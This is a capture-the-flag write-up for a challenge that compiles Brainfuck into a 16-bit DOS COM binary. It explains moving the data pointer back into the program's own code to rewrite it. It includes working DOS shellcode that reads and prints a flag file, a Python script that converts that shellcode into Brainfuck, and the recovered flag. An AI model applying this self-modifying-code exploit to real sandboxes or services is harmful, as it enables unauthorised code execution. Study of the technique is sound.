Description
You are still trying to get code execution on your own? Hahaha.
There is an app for that!
We are now introducing Remote Code Execution as a Service (RCEaaS).
Pro tips:
+[—>++<]>.++++[->++++<]>+.++++++++++.———-.+++++++++++.[—->+<]>+++.-[—>++<]>–.++++++++++++..—-.[–>+<]>++.———–..[—>+<]>+++.[—>+<]>.——–.[->+++++<]>–.+[—>+<]>++++.++++++.[—>+<]>—–.—[->++<]>.++[—>++<]>+.>++++++++++.
Flag is at A:\FLAG.TXT
No keyboard input in the Freemium version :/
nc 130.211.155.146 20666
download
Solved by: 26
Bonuspoints: 11
Resolution
NB: All the code can also be found there.
This challenge involved doing some brainfuck. We are given bfc.py which will take input from stdin and generate an ASM code. We can see from the top of the file that the compilation line is
./bfc.py > out.asm && nasm -f bin -o out.com out.asm
We also know from the description that our generated binary will be launched inside a VM that does’nt receive any input.
The binary generated is a DOS COM 16 bits kind of binary, that’s pretty old!
The top of the generated ASM file:
BITS 16 ORG 0x100 mov bp, cells
will help us understand the format. The COM format is interesting, it’s minimal format with no header (file on linux sees it as data) which is just pure assembly. The 16 bits limit the size of the file to 65,280 byte to be loaded in memory. The ORG 0x100 means our assembly is going to be at offset 0x100.
If we look at the end of the asm, we also got cells: times 30000 db 0x0, that’s the cells used by the brainfuck, that means we have a stack of 30000 byte.
If we make a little brainfuck program from the script and disas it using ndisasm we get this:
laxa:boot2brainfuck:10:25:30$ ./bfc.py > out.asm && nasm -f bin -o out.com out.asm \ && ndisasm -b 16 out.com | head . 00000000 BD1001 mov bp,0x110 ; mov stack address into bp 00000003 8A5600 mov dl,[bp+0x0] 00000006 B402 mov ah,0x2 00000008 CD21 int 0x21 0000000A B44C mov ah,0x4c ; DOS exit interrupt 0000000C B000 mov al,0x0 ; exit code 0000000E CD21 int 0x21 ; DOS interrupt 00000010 0000 add [bx+si],al ; this is the stack space 00000012 0000 add [bx+si],al ; this is the stack space 00000014 0000 add [bx+si],al ; this is the stack space
So, we can see that right after the generated code is our stack. If you don’t know brainfuck yet, we can only do simple operations like: readchar, outputchar, bp++, bp–, ++*bpp, –*bpp, and loops.
You know stacks right? Well, usually, we are starting at some offset and going up to higher offsets, but with this program, what if we go in the lower adress? You see where we are going?
We can move our base pointer directly inside the code at runtime and modify it, this making self-modifying code!
In every exploit, we like to make a little Proof Of Concept when an idea pops into our minds. The easiest way is to try to change the code return (which is 0 by default) to something else to assert our finds.
The following brainfuck does that:
+[<]>+
This code is like this in C:
*bp++; while (*bp != 0) bp--; *bp++;
If you look at the disassembly given before, you can see that the first NULL byte is just before the last int 21h generated by bfc.py. So, by changing the value of this NULL byte, we change the return code of the program.
Launching this code inside a DOS terminal of a Windows Xp VM and then doing echo %ERRORLEVEL% will prove that our findings were actually correct!
We just proved that we can actually modify/add code at run time. Next step is then to make a DOS program that will open/read a file and then output it’s content on the terminal.
This step was the hardest actually, mainly because we found no debugger that would work for DOS 16 bits :(.
Our final shellcode which also output the filename (we had to debug directly by printing stuff in ASM :() is the following:
BITS 16 ORG 0x100 mov ah, 0x3D ; DOS open interrupt mov al, 0 ; mode: read-only mov dword [bp+0x200], "A:" mov dword [bp+0x202], 0x465C mov dword [bp+0x204], "LA" mov dword [bp+0x206], "G." mov dword [bp+0x208], "TX" mov word [bp+0x20a], 0x54 mov si, 0 ; counter for print print: mov ah, 0x2 ; DOS write interrupt mov dl, [bp+0x200+si] ; character to write int 0x21 ; DOS interrupt inc si ; inc counter cmp si, 12 ; we print 12 chars jl print ; loop mov al, 0 ; mode: read-only mov ah, 0x3D ; DOS open interrupt lea dx, [bp+0x200] ; filename int 21h ; DOS interrupt mov [bp+0x19F], ax ; save handle readfile: mov bx, [bp+0x19F] ; get handle mov ah, 0x3F ; DOS read file interrupt mov cx, 1 ; number of bytes to read lea dx, [bp+0x150] ; buffer int 21h ; DOS interrupt cmp ax, cx ; check if EOF jne exit ; exit if EOF mov ah, 0x2 ; DOS write interrupt mov dl, [bp+0x150] ; character to write int 21h ; DOS interrupt jmp readfile ; loop till EOF exit: mov ah, 4ch ; DOS exit interrupt mov al, 0 ; exit code int 21h ; DOS interrupt
With this working shellcode, transforming it using brainfuck isn’t really hard, here are our scripts that we used to debug and run everything:
#!/bin/bash nasm -f bin -o test.com DOS_file_reader.asm ndisasm -b 16 test.com > disas ./BFgenerator.py | ./testBF.sh rm out.asm
And the python brainfuck script:
#!/usr/bin/env python2 import sys """ The generated asm from BF just goes like this: [...] # BF asm # this part is the BF asm epilogue generated 00000015 B44C mov ah,0x4c 00000017 B000 mov al,0x0 00000019 CD21 int 0x21 """ # SC is our shellcode contained in DOS_file_reader.asm with open("test.com", "rb") as f: SC = f.read() p = "" p += "+[<]>" # position bp to int 0x21 # first 2 bytes are going to be special since we rewrite the int 0x21 tmp = ord(SC[0]) while tmp > 0xCD: p += "-" tmp -= 1 while tmp < 0xCD: p += "+" tmp += 1 p += ">" # move bp tmp = ord(SC[1]) while tmp > 0x21: p += "-" tmp -= 1 while tmp < 0x21: p += "+" tmp += 1 p += ">" SC = SC[2:] for x in SC: tmp = ord(x) for z in range(0, tmp): p += "+" p += ">" print p
Finally, the flag is: hxp{ju57 l1k3 4 7ur1n6 m4ch1n3 bu7 w17h l1m173d 5p4c3}